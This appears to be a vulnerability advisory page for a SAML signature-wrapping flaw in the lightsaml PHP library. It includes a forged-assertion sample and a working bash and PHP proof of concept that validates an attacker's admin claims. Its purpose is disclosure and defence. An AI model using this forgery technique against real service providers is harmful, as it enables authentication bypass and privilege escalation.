# CVE-2026-63182: lightsaml allows Signature wrapping bypass

- **Severity:** HIGH 8.1
- **CVSS:** 8.1 (v3.1, GitHub) `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`
- **CVSS metrics:** Attack vector: Network; Attack complexity: Low; Privileges required: Low; User interaction: None; Scope: Unchanged; Confidentiality impact: High; Integrity impact: High; Availability impact: None
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** None known
- **Remote exploitation:** Remote, login needed
- **EPSS:** 0.32% (percentile 18, 2026-11-28)
- **CWE:** CWE-347
- **Aliases:** GHSA-w553-pwx6-3mg9
- **Published:** 2026-11-16T22:08:38.000Z
- **Modified:** 2026-11-16T22:08:39.000Z

## Who should check

- Projects that depend on Packagist package litesaml/lightsaml (\>= 5.0.0, \< 5.0.1)

## Description

\#\#\# Summary

LightSaml 5.0.0 (latest release; also confirmed on 4.6.1) validates an inbound \`samlp:Response\` by collecting its direct-child \`saml:Assertion\` elements and validating each one's \`ds:Signature\` via robrichards/xmlseclibs. The two layers disagree on which element a signature actually covers: LightSaml reads claims from the assertion node it collected, while xmlseclibs resolves the signed \`Reference URI="\#id"\` with a document-wide \`//\*\[@Id\]\` XPath that returns the first ID-bearing element anywhere in the document.

An attacker who has captured one genuine signed assertion can exploit this to surface attacker-authored, unsigned claims.

\#\#\# Details

\`Response::deserialize\` collects assertions with \`manyElementsFromXml\`, whose relative XPath \`saml:Assertion\` matches only direct children of the \`Response\`. Each collected assertion is validated independently by \`AssertionSignatureValidatorAction\` against the out-of-band trusted IdP credential (resolved by Issuer entityId, never from the document):

https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Protocol/Response.php\#L122
https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/AbstractSamlModel.php\#L93
https://github.com/litesaml/lightsaml/blob/5.0.0/src/Action/Assertion/Inbound/AssertionSignatureValidatorAction.php\#L28

The check delegates to xmlseclibs \`XMLSecurityDSig::validateReference()\`, which first removes the signature node being validated from the shared document (enveloped-signature removal):

\`\`\`php
if (! $docElem-\>isSameNode($this-\>sigNode)) {
    if ($this-\>sigNode-\>parentNode != null) {
        $this-\>sigNode-\>parentNode-\>removeChild($this-\>sigNode);   // strips sig from shared DOM
    }
}
\`\`\`

https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php\#L596

\`processRefNode()\` then resolves \`URI="\#id"\` document-wide and takes \`item(0)\`, the first ID-bearing element in the whole document, any name or namespace, not the one inside the signature's own subtree:

\`\`\`php
$query = '//\*\['.$iDlist.'\]';
$dataObject = $xPath-\>query($query)-\>item(0);
\`\`\`

https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php\#L525

So the digest target xmlseclibs picks (\`//\*\[@Id\]\` item(0), anywhere) which isn't necessarily the one from the previous phase. LightSaml then reads claims (Subject/NameID, Conditions, Attributes) from the node it collected:

https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Assertion/Assertion.php\#L288

An example attacker buries the genuine signed bytes (the assertion with its \`ds:Signature\` element stripped) inside \`samlp:Extensions\`, so it is the first \`@Id\` element in document order but not a direct-child assertion. Present one forged direct-child assertion with the same \`ID\`, attacker claims, and a verbatim copy of the genuine \`ds:Signature\`:

\`\`\`xml
\<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="\_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z"\>
  \<saml:Issuer\>https://idp.example.com\</saml:Issuer\>

  \<!-- GENUINE signed bytes, buried in Extensions: first @Id document-wide (xmlseclibs picks this),
       but NOT a direct-child assertion (LightSaml ignores it). Signature element removed so the
       enveloped+exc-c14n digest target is the assertion sans Signature. --\>
  \<samlp:Extensions\>
    \<saml:Assertion ID="\_signed\_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z"\>
      \<saml:Issuer\>https://idp.example.com\</saml:Issuer\>
      \<saml:Subject\>\<saml:NameID\>alice@example.com\</saml:NameID\>\</saml:Subject\>
      \<saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/\>
      \<saml:AttributeStatement\>\<saml:Attribute Name="role"\>\<saml:AttributeValue\>user\</saml:AttributeValue\>\</saml:Attribute\>\</saml:AttributeStatement\>
    \</saml:Assertion\>
  \</samlp:Extensions\>

  \<!-- FORGED: the ONLY direct-child assertion LightSaml collects. SAME ID, attacker claims,
       verbatim copy of the genuine ds:Signature. --\>
  \<saml:Assertion ID="\_signed\_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z"\>
    \<saml:Issuer\>https://idp.example.com\</saml:Issuer\>
    \<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig\#"\> ...byte-for-byte copy of the genuine signature... \</ds:Signature\>
    \<saml:Subject\>\<saml:NameID\>attacker@evil.com\</saml:NameID\>\</saml:Subject\>
    \<saml:Conditions NotBefore="2040-01-01T00:00:00Z" NotOnOrAfter="2041-01-01T00:00:00Z"/\>
    \<saml:AttributeStatement\>\<saml:Attribute Name="role"\>\<saml:AttributeValue\>admin\</saml:AttributeValue\>\</saml:Attribute\>\</saml:AttributeStatement\>
  \</saml:Assertion\>
\</samlp:Response\>
\`\`\`

\#\#\# PoC

\`\`\`bash
\#!/usr/bin/env bash
set -euo pipefail
WORK="$(mktemp -d)"; trap 'rm -rf "$WORK"' EXIT; cd "$WORK"
IDP\_ENTITY="https://idp.example.com"; ASSERTION\_ID="\_signed\_assertion"

composer require litesaml/lightsaml:5.0.0 --no-interaction --quiet

\# trusted IdP key + self-signed cert (out-of-band trust anchor)
openssl req -x509 -newkey rsa:2048 -keyout idp\_key.pem -out idp\_cert.pem -days 3650 -nodes \\
  -subj "/CN=idp.example.com" \>/dev/null 2\>&1

\# genuine Response with one to-be-signed assertion
cat \> genuine\_tmpl.xml \<\<XML
\<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
                ID="\_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z"\>
  \<saml:Issuer\>${IDP\_ENTITY}\</saml:Issuer\>
  \<saml:Assertion ID="${ASSERTION\_ID}" Version="2.0" IssueInstant="2024-01-01T00:00:00Z"\>
    \<saml:Issuer\>${IDP\_ENTITY}\</saml:Issuer\>
    \<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig\#"\>
      \<ds:SignedInfo\>
        \<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n\#"/\>
        \<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more\#rsa-sha256"/\>
        \<ds:Reference URI="\#${ASSERTION\_ID}"\>
          \<ds:Transforms\>
            \<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig\#enveloped-signature"/\>
            \<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n\#"/\>
          \</ds:Transforms\>
          \<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc\#sha256"/\>
          \<ds:DigestValue\>\</ds:DigestValue\>
        \</ds:Reference\>
      \</ds:SignedInfo\>
      \<ds:SignatureValue\>\</ds:SignatureValue\>
    \</ds:Signature\>
    \<saml:Subject\>\<saml:NameID\>alice@example.com\</saml:NameID\>\</saml:Subject\>
    \<saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/\>
    \<saml:AttributeStatement\>
      \<saml:Attribute Name="role"\>\<saml:AttributeValue\>user\</saml:AttributeValue\>\</saml:Attribute\>
    \</saml:AttributeStatement\>
  \</saml:Assertion\>
\</samlp:Response\>
XML

\# REAL signature over the genuine assertion (RSA-SHA256, enveloped + exc-c14n)
xmlsec1 --sign --lax-key-search --privkey-pem idp\_key.pem \\
  --id-attr:ID "urn:oasis:names:tc:SAML:2.0:assertion:Assertion" \\
  --output genuine\_signed.xml genuine\_tmpl.xml \>/dev/null

\# TAMPER: bury the genuine bytes (signature stripped) in samlp:Extensions as the first @Id element,
\# and make the ONLY direct-child assertion a forged one carrying a verbatim copy of the genuine
\# signature + attacker claims.
php -r '
$doc = new DOMDocument(); $doc-\>load("genuine\_signed.xml");
$xp = new DOMXPath($doc);
$xp-\>registerNamespace("saml","urn:oasis:names:tc:SAML:2.0:assertion");
$xp-\>registerNamespace("ds","http://www.w3.org/2000/09/xmldsig\#");
$resp = $doc-\>documentElement;
$genuine = $xp-\>query("//saml:Assertion\[@ID=\\"\_signed\_assertion\\"\]")-\>item(0);
$copiedSig = $doc-\>saveXML($xp-\>query("./ds:Signature", $genuine)-\>item(0));

// buried = genuine clone WITHOUT its signature (the enveloped+exc-c14n digest target)
$buried = $genuine-\>cloneNode(true);
$buried-\>removeChild($xp-\>query("./ds:Signature", $buried)-\>item(0));

// forged = copied signature + attacker claims (the only direct-child assertion)
$forged =
  "\<saml:Assertion xmlns:saml=\\"urn:oasis:names:tc:SAML:2.0:assertion\\" ID=\\"\_signed\_assertion\\" Version=\\"2.0\\" IssueInstant=\\"2024-01-01T00:00:00Z\\"\>"
  ."\<saml:Issuer\>https://idp.example.com\</saml:Issuer\>".$copiedSig
  ."\<saml:Subject\>\<saml:NameID\>attacker@evil.com\</saml:NameID\>\</saml:Subject\>"
  ."\<saml:Conditions NotBefore=\\"2040-01-01T00:00:00Z\\" NotOnOrAfter=\\"2041-01-01T00:00:00Z\\"/\>"
  ."\<saml:AttributeStatement\>\<saml:Attribute Name=\\"role\\"\>\<saml:AttributeValue\>admin\</saml:AttributeValue\>\</saml:Attribute\>\</saml:AttributeStatement\>"
  ."\</saml:Assertion\>";
$frag = $doc-\>createDocumentFragment(); $frag-\>appendXML($forged);

// Extensions(buried genuine) replaces the original assertion (first @Id, doc order); forged appended after
$ext = $doc-\>createElementNS("urn:oasis:names:tc:SAML:2.0:protocol","samlp:Extensions");
$ext-\>appendChild($buried);
$resp-\>replaceChild($ext, $genuine);
$resp-\>appendChild($frag);
file\_put\_contents("tampered.xml", $doc-\>saveXML());
'

\# SP consumer: LightSaml real per-assertion validation, pinned cert, requireSignature=true
cat \> consumer.php \<\<'PHP'
\<?php
require \_\_DIR\_\_ . '/vendor/autoload.php';
use LightSaml\\Action\\Assertion\\Inbound\\AssertionSignatureValidatorAction;
use LightSaml\\Context\\Profile\\{AssertionContext, ProfileContext};
use LightSaml\\Credential\\{UsageType, X509Certificate, X509Credential};
use LightSaml\\Context\\Model\\DeserializationContext;   // moved from Model\\Context in 5.0.0
use LightSaml\\Model\\Protocol\\SamlMessage;
use LightSaml\\Resolver\\Credential\\Factory\\CredentialResolverFactory;
use LightSaml\\Store\\Credential\\StaticCredentialStore;
use LightSaml\\Validator\\Model\\Signature\\SignatureValidator;
use Psr\\Log\\NullLogger;

\[$\_, $xmlPath, $certPath, $idpEntityId\] = $argv;
$x509 = new X509Certificate(); $x509-\>loadPem(file\_get\_contents($certPath));   // pinned trust anchor
$cred = new X509Credential($x509); $cred-\>setEntityId($idpEntityId); $cred-\>setUsageType(UsageType::SIGNING);
$store = new StaticCredentialStore(); $store-\>add($cred);
$validator = new SignatureValidator((new CredentialResolverFactory($store))-\>build());
$action = new AssertionSignatureValidatorAction(new NullLogger(), $validator, true); // requireSignature=true

$message = SamlMessage::fromXML(file\_get\_contents($xmlPath), new DeserializationContext());
$profile = new ProfileContext('profile', ProfileContext::ROLE\_SP);
$bypass = false;
echo "assertions LightSaml collected: " . count($message-\>getAllAssertions()) . "\\n";
foreach ($message-\>getAllAssertions() as $i =\> $a) {
    $nameId = ($a-\>getSubject() && $a-\>getSubject()-\>getNameID()) ? $a-\>getSubject()-\>getNameID()-\>getValue() : '(none)';
    $attrs = \[\];
    foreach ($a-\>getAllAttributeStatements() as $s) foreach ($s-\>getAllAttributes() as $at)
        $attrs\[$at-\>getName()\] = implode(',', array\_map(fn($v) =\> (string)$v, $at-\>getAllAttributeValues()));
    echo "ASSERTION \#$i  NameID=$nameId  Attributes=".json\_encode($attrs)."\\n";
    $ctx = new AssertionContext(); $ctx-\>setAssertion($a); $ctx-\>setParent($profile);
    try { $action-\>execute($ctx); $r = 'ACCEPTED'; } catch (\\Throwable $e) { $r = 'REJECTED: '.$e-\>getMessage(); }
    echo "  LightSaml validation: $r\\n";
    if ($r === 'ACCEPTED' && (strpos($nameId,'evil.com') !== false \|\| ($attrs\['role'\] ?? '') === 'admin')) {
        $bypass = true; echo "  \>\>\> BYPASS: forged assertion validated AND attacker claims surfaced\\n";
    }
}
echo $bypass ? "RESULT: BYPASS CONFIRMED\\n" : "RESULT: no bypass\\n";
exit($bypass ? 0 : 1);
PHP

php consumer.php tampered.xml idp\_cert.pem "$IDP\_ENTITY"
\`\`\`

Observed output:

\`\`\`
assertions LightSaml collected: 1
ASSERTION \#0  NameID=attacker@evil.com  Attributes={"role":"admin"}
  LightSaml validation: ACCEPTED
  \>\>\> BYPASS: forged assertion validated AND attacker claims surfaced
RESULT: BYPASS CONFIRMED
\`\`\`

\#\#\# Impact

Authentication bypass / privilege escalation. An attacker who has captured one genuine signed assertion (e.g. their own prior login response) can have LightSaml accept a single, fully attacker-authored assertion as IdP-signed.

## Affected and fixed versions

- Packagist `litesaml/lightsaml`: affected \>= 5.0.0, \< 5.0.1; fixed 5.0.1, 4.7.1 (ghsa)

## Technologies

Composer packages

## Mitigation

- Upgrade litesaml/lightsaml to one of 5.0.1, 4.7.1 (or later in the same release line).

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2026-63182. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2026-63182.md
Affected: litesaml/lightsaml >= 5.0.0, < 5.0.1
Fixed in: 5.0.1, 4.7.1

Steps:
1. Search this machine and project for litesaml/lightsaml (Packagist): dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2026-63182 being exploited?

There is no confirmed exploitation: CVE-2026-63182 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known. EPSS estimates a 0.32% chance of exploitation in the next 30 days (as of 2026-11-28).

### How serious is CVE-2026-63182?

High: CVSS 8.1 (v3.1, scored by GitHub). Remote, login needed.

### Which versions are affected by CVE-2026-63182?

litesaml/lightsaml \>= 5.0.0, \< 5.0.1.

### Is there a fix for CVE-2026-63182?

Yes. Fixed in 5.0.1, 4.7.1. Upgrade litesaml/lightsaml to one of 5.0.1, 4.7.1 (or later in the same release line).

### How do I check if I'm affected by CVE-2026-63182?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- vendor: <https://github.com/litesaml/lightsaml/security/advisories/GHSA-w553-pwx6-3mg9>
- patch: <https://github.com/litesaml/lightsaml/pull/113>
- patch: <https://github.com/litesaml/lightsaml/pull/122>
- patch: <https://github.com/litesaml/lightsaml/commit/230e62d1325f2cbcaac814b78409775f7a8806a2>
- patch: <https://github.com/litesaml/lightsaml/commit/3af82bf2f3865e6aafeeb1a97c97b383b8bb7b00>
- other: <https://nvd.nist.gov/vuln/detail/CVE-2026-63182>
- other: <https://github.com/litesaml/lightsaml/releases/tag/4.7.1>
- other: <https://github.com/litesaml/lightsaml/releases/tag/5.0.1>
- other: <https://github.com/advisories/GHSA-w553-pwx6-3mg9>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- GitHub Advisory Database: CC-BY 4.0 <https://github.com/advisories/GHSA-w553-pwx6-3mg9> (license: <https://creativecommons.org/licenses/by/4.0/>)
- FIRST EPSS: EPSS scores by FIRST <https://www.first.org/epss/>

HTML: <https://flawdb.com/CVE-2026-63182> · JSON: <https://flawdb.com/api/v1/entries/CVE-2026-63182>
